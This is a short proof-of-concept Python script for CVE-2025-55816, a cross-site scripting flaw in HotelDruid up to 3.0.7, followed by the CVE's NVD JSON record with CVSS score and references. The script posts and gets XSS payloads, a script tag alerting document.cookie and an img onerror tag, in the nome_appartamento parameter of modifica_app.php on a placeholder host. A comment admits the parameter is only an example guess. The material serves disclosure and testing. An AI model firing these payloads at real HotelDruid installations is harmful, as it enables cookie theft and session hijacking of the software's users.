CVE-2025-55816

import requests # CVE-2025-55816 PoC - HotelDruid XSS in modifica_app.php # Target: HotelDruid <= v3.0.7 target_url = "http://target-server/modifica_app.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # XSS via common parameter (example: app_name or similar field) params = { "anno": "2025", "id_appartamento": "1", "nome_appartamento": xss_payload, "tipologia": "1" } # Send POST request with XSS payload response = requests.post(target_url, data=params) print(f"[*] XSS Payload sent: {xss_payload}") print(f"[*] Response Status: {response.status_code}") # Alternative: GET request with XSS in URL parameter get_payload = f"<img src=x onerror=alert('XSS')>" get_params = { "id_appartamento": "1", "nome_appartamento": get_payload } response2 = requests.get(target_url, params=get_params) print(f"[*] GET request with XSS payload sent") print(f"[*] Check if payload is reflected in response")

{"cve": {"id": "CVE-2025-55816", "sourceIdentifier": "[email protected]", "published": "2025-12-11T21:15:50.650", "lastModified": "2025-12-15T18:35:37.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HotelDruid v3.0.7 and before is vulnerable to Cross Site Scripting (XSS) in the /modifica_app.php file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:digitaldruid:hoteldruid:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.0.7", "matchCriteriaId": "33A5B1E8-5D3D-4E54-BBD5-08EF09C72291"}]}]}], "references": [{"url": "https://www.hoteldruid.com/en/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.partywave.site/show/research/cve-2025-55816-xss-and-raptx", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}